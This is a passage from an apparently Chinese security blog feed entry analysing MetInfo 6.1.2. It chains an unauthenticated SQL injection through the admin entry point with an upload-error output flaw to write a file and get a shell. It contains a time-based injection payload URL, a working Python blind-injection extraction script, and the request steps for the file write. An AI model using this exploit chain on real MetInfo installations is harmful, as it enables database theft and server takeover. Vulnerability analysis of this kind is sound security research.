class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">daddslashes</span><span class="params">($string, $force = <span class="number">0</span>)</span> </span>&#123;</span><br><span class="line">!defined(<span class="string">'MAGIC_QUOTES_GPC'</span>) &amp;&amp; define(<span class="string">'MAGIC_QUOTES_GPC'</span>, get_magic_quotes_gpc());</span><br><span class="line"><span class="keyword">if</span>(!MAGIC_QUOTES_GPC || $force) &#123;</span><br><span class="line"><span class="keyword">if</span>(is_array($string)) &#123;</span><br><span class="line"><span class="keyword">foreach</span>($string <span class="keyword">as</span> $key =&gt; $val) &#123;</span><br><span class="line">$string[$key] = daddslashes($val, $force);</span><br><span class="line">&#125;</span><br><span class="line">&#125; <span class="keyword">else</span> &#123;</span><br><span class="line"><span class="keyword">if</span>(!defined(<span class="string">'IN_ADMIN'</span>))&#123;</span><br><span class="line">$string = trim(addslashes(sqlinsert($string)));</span><br><span class="line">&#125;<span class="keyword">else</span>&#123;</span><br><span class="line">$string = trim(addslashes($string));</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">return</span> $string;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>当 IN_ADMIN 常量为 true 时，我们的字符串只会进行简单的 addslashes 转义，存在 sql注入，随即全局搜索 IN_ADMIN 常量，在/admin/index.php发现如下代码</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">define(<span class="string">'IN_ADMIN'</span>, <span class="keyword">true</span>);</span><br><span class="line"><span class="comment">//�ӿ�</span></span><br><span class="line">$M_MODULE=<span class="string">'admin'</span>;</span><br><span class="line"><span class="keyword">if</span>(@$_GET[<span class="string">'m'</span>])$M_MODULE=$_GET[<span class="string">'m'</span>];</span><br><span class="line"><span class="keyword">if</span>(@!$_GET[<span class="string">'n'</span>])$_GET[<span class="string">'n'</span>]=<span class="string">"index"</span>;</span><br><span class="line"><span class="keyword">if</span>(@!$_GET[<span class="string">'c'</span>])$_GET[<span class="string">'c'</span>]=<span class="string">"index"</span>;</span><br><span class="line"><span class="keyword">if</span>(@!$_GET[<span class="string">'a'</span>])$_GET[<span class="string">'a'</span>]=<span class="string">"doindex"</span>;</span><br><span class="line">@define(<span class="string">'M_NAME'</span>, $_GET[<span class="string">'n'</span>]);</span><br><span class="line">@define(<span class="string">'M_MODULE'</span>, $M_MODULE);</span><br><span class="line">@define(<span class="string">'M_CLASS'</span>, $_GET[<span class="string">'c'</span>]);</span><br><span class="line">@define(<span class="string">'M_ACTION'</span>, $_GET[<span class="string">'a'</span>]);</span><br><span class="line"><span class="keyword">require_once</span> <span class="string">'../app/system/entrance.php'</span>;</span><br></pre></td></tr></table></figure><p>我们不但可以得到值为 true 的 IN_ADMIN 常量，而且还可以在这里调用任意do开头的方法，无需登录，所以我们可以利用 domessage 类方法传入 action = add 来进行 sql注入</p><p>通过分析 /app/system/entrance.php 构造利用链，我们需要的是 /app/system/message/web/message.class.php，需传入 M_NAME = message，将 M_TYPE 常量值设为  system，M_MODULE 传入值为 web，此时 PATH_OWN_FILE 常量为 /app/system/message/web/，然后 entrance.php 执行 <code>load::module();</code> 加载 message 模块并传入参数，达到绕过 sqlinsert 执行 add 函数的目的</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">static</span> <span class="function"><span class="keyword">function</span> <span class="title">module</span><span class="params">($path = <span class="string">''</span>, $modulename = <span class="string">''</span>, $action = <span class="string">''</span>)</span> </span>&#123;</span><br><span class="line"><span class="keyword">if</span> (!$path) &#123;</span><br><span class="line"><span class="keyword">if</span> (!$path) $path = PATH_OWN_FILE;</span><br><span class="line"><span class="keyword">if</span> (!$modulename) $modulename = M_CLASS;</span><br><span class="line"><span class="keyword">if</span> (!$action) $action = M_ACTION;</span><br><span class="line"><span class="keyword">if</span> (!$action) $action = <span class="string">'doindex'</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">return</span> <span class="keyword">self</span>::_load_class($path, $modulename, $action);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>payload：<code>http://127.0.0.1:23332//admin/index.php?n=message&amp;m=web&amp;c=message&amp;a=domessage&amp;action=add&amp;lang=cn&amp;para137=1&amp;para186=1&amp;para138=1&amp;para139=1&amp;para140=1&amp;id=1%20or%20sleep(1)</code></p><p>这里代码判断反馈与验证码都在sql语句的后面，所以我们可以借助页面的不同回显进行 bool 盲注，区别是返回的 value 的有无，通过查询数据库，我们可以注入 columnid 为 44 或 42</p><p> <img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/Metinfo612.assets/5cc84dc661df9.png" alt></p><p> 脚本注入</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br></pre></td><td class="code"><pre><span class="line"> <span class="comment">#coding: utf-8</span></span><br><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"><span class="keyword">import</span> string</span><br><span class="line"></span><br><span class="line">url = <span class="string">"http://&#123;&#125;/admin/index.php?n=message&amp;m=web&amp;c=message&amp;a=domessage&amp;action=add&amp;lang=cn&amp;para137=1&amp;para186=1&amp;para138=1&amp;para139=1&amp;para140=1&amp;id="</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">get_res_len</span><span class="params">(host,sql)</span>:</span></span><br><span class="line"><span class="keyword">global</span> url</span><br><span class="line">url = url.format(host)</span><br><span class="line">max_len = <span class="number">101</span></span><br><span class="line">s = requests.session()</span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> range(<span class="number">1</span>,max_len):</span><br><span class="line">check_sql = <span class="string">"44 and(length((&#123;&#125;))=&#123;&#125;)"</span>.format(sql,str(i))</span><br><span class="line">res = s.get(url+check_sql)</span><br><span class="line"><span class="keyword">if</span> <span class="string">"window.history.back()"</span> <span class="keyword">in</span> res.text:</span><br><span class="line"><span class="keyword">return</span> i</span><br><span class="line"><span class="keyword">print</span> (<span class="string">"data too long"</span>)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">get_sqli_data</span><span class="params">(host,sql)</span>:</span></span><br><span class="line"><span class="keyword">global</span> url</span><br><span class="line">data_len = get_res_len(host,sql)</span><br><span class="line">sqli = <span class="string">"44 and(ascii(substr((&#123;&#125;),&#123;&#125;,1)))=&#123;&#125;"</span></span><br><span class="line">data = <span class="string">""</span></span><br><span class="line">s = requests.session()</span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> range(data_len+<span class="number">1</span>):</span><br><span class="line"><span class="keyword">for</span> c <span class="keyword">in</span> string.printable[<span class="number">0</span>:<span class="number">62</span>]:</span><br><span class="line">res = s.get(url+sqli.format(sql,str(i),ord(c)))</span><br><span class="line"><span class="keyword">if</span> <span class="string">"window.history.back()"</span> <span class="keyword">in</span> res.text:</span><br><span class="line">data += c</span><br><span class="line"><span class="keyword">print</span> (data)</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">"__main__"</span>:</span><br><span class="line">host = <span class="string">"127.0.0.1:23332"</span></span><br><span class="line">sql = <span class="string">"select value from met_config where id = 45"</span></span><br><span class="line">get_sqli_data(host,sql)</span><br></pre></td></tr></table></figure><p> 通过查询数据库得知 met_member_force 的 id 是 45，注入得到 met_member_force 值</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/Metinfo612.assets/5cc84f98dd2a0.png" alt></p><p> 再回到任意文件写入上来，拿到了 met_member_force，下面寻找可控的页面输出，全局搜索 extends web 寻找 web 的子类，其子类并不多，而且找到的大多为查数据库得到的配置参数或是一些固定输出，利用难度较大，较可行的应该就是 uploadify 这个子类了，类方法中有多处 echo jsonencode</p><p> 其中在 doupfile 函数中，<code>$back</code> 从表单中获取文件名，最后做 jsonencode 操作</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"> <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">doupfile</span><span class="params">()</span></span>&#123;</span><br><span class="line"><span class="keyword">global</span> $_M;</span><br><span class="line"></span><br><span class="line">. . . . </span><br><span class="line"></span><br><span class="line">$back = <span class="keyword">$this</span>-&gt;upload($_M[<span class="string">'form'</span>][<span class="string">'formname'</span>]);</span><br><span class="line"></span><br><span class="line">. . . .</span><br><span class="line"></span><br><span class="line">   $back[<span class="string">'filesize'</span>] =  round(filesize($back[<span class="string">'path'</span>])/<span class="number">1024</span>,<span class="number">2</span>);</span><br><span class="line"><span class="keyword">echo</span> jsonencode($back);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>向上回溯，由自身的 upload 方法调用了 upfile 的 upload 方法</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"> <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">upload</span><span class="params">($formname)</span></span>&#123;</span><br><span class="line"><span class="keyword">global</span> $_M;</span><br><span class="line">$back = <span class="keyword">$this</span>-&gt;upfile-&gt;upload($formname);</span><br><span class="line"><span class="keyword">return</span> $back;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>将<code>$_FILES</code>上传文件属性传给<code>$filear</code>数组保存</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">upload</span><span class="params">($form = <span class="string">''</span>)</span> </span>&#123;</span><br><span class="line"><span class="keyword">global</span> $_M;</span><br><span class="line"><span class="keyword">if</span>($form)&#123;</span><br><span class="line"><span class="keyword">foreach</span>($_FILES <span class="keyword">as</span> $key =&gt; $val)&#123;</span><br><span class="line"><span class="keyword">if</span>($form == $key)&#123;</span><br><span class="line">$filear = $_FILES[$key];</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">if</span>(!$filear)&#123;</span><br><span class="line"><span class="keyword">foreach</span>($_FILES <span class="keyword">as</span> $key =&gt; $val)&#123;</span><br><span class="line">$filear = $_FILES[$key];</span><br><span class="line"><span class="keyword">break</span>;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>下面对<code>$filear</code>进行处理后缀名处理</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">$this</span>-&gt;getext($filear[<span class="string">"name"</span>]); <span class="comment">//获取允许的后缀</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">protected</span> <span class="function"><span class="keyword">function</span> <span class="title">getext</span><span class="params">($filename)</span> </span>&#123;</span><br><span class="line"><span class="keyword">if</span> ($filename == <span class="string">""</span>) &#123;</span><br><span class="line"><span class="keyword">return</span> ;</span><br><span class="line">&#125;</span><br><span class="line">$ext = explode(<span class="string">"."</span>, $filename);</span><br><span class="line"><span class="keyword">return</span> <span class="keyword">$this</span>-&gt;ext = $ext[count($ext)<span class="number">-1</span>];</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>文件名如果无<code>.</code>，则取上传文件名即为拓展名的值，下面检查拓展名的时候就可能会出错</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//文件后缀是否为合法后缀</span></span><br><span class="line"><span class="keyword">if</span> ($_M[<span class="string">'config'</span>][<span class="string">'met_file_format'</span>]) &#123;</span><br><span class="line"><span class="keyword">if</span>($_M[<span class="string">'config'</span>][<span class="string">'met_file_format'</span>] != <span class="string">""</span> &amp;&amp; !in_array(strtolower(<span class="keyword">$this</span>-&gt;ext)explode(<span class="string">'|'</span>,strtolower($_M[<span class="string">'config'</span>][<span class="string">'met_file_format'</span>]))) &amp;&amp; $filear)&#123;</span><br><span class="line"><span class="keyword">return</span> <span class="keyword">$this</span>-&gt;error(<span class="keyword">$this</span>-&gt;ext.<span class="string">" &#123;$_M['word']['upfileTip3']&#125;"</span>);</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>数据库中的拓展名白名单如下</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/Metinfo612.assets/5cc9a35161e10.png" alt></p><p>上面代码能看出，如果后缀检查有错误，会调用error函数处理，而且传入参数为<strong>拓展名的值+错误信息</strong></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">protected</span> <span class="function"><span class="keyword">function</span> <span class="title">error</span><span class="params">($error)</span></span>&#123;</span><br><span class="line">$back[<span class="string">'error'</span>] = <span class="number">1</span>;</span><br><span class="line">$back[<span class="string">'errorcode'</span>] = $error;</span><br><span class="line"><span class="keyword">return</span> $back;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>而且 拓展名的值+错误信息 被赋值给了 back，最终在 doupfile 函数中被输出，web 类析构函数将输出缓冲写入文件</p><p>文件内容如下 </p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/Metinfo612.assets/5cc9a7af84a5e.png" alt></p><p>由于文件名与内容可控，注册账号上传图片，然后抓包修改为doupfile方法，根据最开始web.class.php中 file_put_contents 的条件，传入 metinfonow=pjovehc和html_filename文件名，就可以直接写入到web根目录</p><p> <img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/Metinfo612.assets/5cc99c2e2c61b.png" alt></p><p> 成功 GetShell</p><p> <img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/Metinfo612.assets/5cc861ceee60a.png" alt></p><p>Reference:</p><p><a href="https://nosec.org/home/detail/2324.html" target="_blank" rel="noopener">https://nosec.org/home/detail/2324.html</a><br><a href="https://bbs.ichunqiu.com/forum.php?mod=viewthread&amp;tid=46687&amp;highlight=metinfo" target="_blank" rel="noopener">https://bbs.ichunqiu.com/forum.php?mod=viewthread&amp;tid=46687&amp;highlight=metinfo</a><br><a href="https://mochazz.github.io/2018/11/09/Metinfo6.0.0-6.1.2%E5%89%8D%E5%8F%B0%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E7%94%9F%E5%91%BD%E7%BA%BF/" target="_blank" rel="noopener">https://mochazz.github.io/2018/11/09/Metinfo6.0.0-6.1.2%E5%89%8D%E5%8F%B0%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E7%94%9F%E5%91%BD%E7%BA%BF/</a></p>]]></content>
    
    <summary type="html">
    
      &lt;p&gt;点击阅读&lt;/p&gt;
    
    </summary>
    
    
      <category term="漏洞分析" scheme="http://j0k3r.top/tags/%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/"/>
    
  </entry>
  
</feed>
